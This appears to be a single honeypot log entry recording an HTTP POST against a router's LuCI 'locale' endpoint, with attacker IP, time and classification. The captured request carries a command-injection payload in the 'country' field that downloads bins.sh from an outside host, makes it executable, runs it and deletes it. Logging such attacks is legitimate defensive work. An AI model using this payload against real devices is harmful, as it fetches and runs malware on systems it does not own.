Time | 2024/03/26, 05:06:40 (GMT) |
Transaction ID | RAH0HASZDXMH9VVC |
Service | http |
Location | NL (Netherlands) |
Attacker | 45.128.232.111 |
Classification | Web post experiment |
Harm Potential | Not |
POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 164 Host: 46.4.222.114:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 Connection: close operation=write&country=$(id>cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://195.62.32.227/bins.sh; chmod +x bins.sh; ./bins.sh; rm -rf bins.sh`)
All details are coming from honeypot central database.
|
Please share your wishes, opinions and suggestions with us: Honeypots.tk Admin |
If you like, you can support |
Honeypots.tk